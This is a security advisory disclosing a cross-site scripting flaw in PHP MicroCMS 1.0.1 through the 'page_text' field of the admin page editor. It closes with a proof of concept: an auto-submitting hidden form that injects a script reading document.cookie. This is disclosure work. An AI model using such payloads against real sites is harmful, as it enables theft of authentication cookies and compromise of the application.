Vulnerability ID: HTB22764 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_php_microcms.html Product: PHP MicroCMS Vendor: ApPHP ( http://www.apphp.com/ ) Vulnerable Version: 1.0.1 and probably prior versions Vendor Notification: 21 December 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "index.php?admin=static_pages_edit&pk=home" script to properly sanitize user-supplied input in "page_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php?admin=static_pages_edit&pk=home"; method="post" name="main"> <input type="hidden" name="pk" value="home"> <input type="hidden" name="page_title" value="Welcome to PHP MicroCMS"> <input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>"> <input type="hidden" name="subSavePage" value="Save Changes"> </form> <script> document.main.submit(); </script>
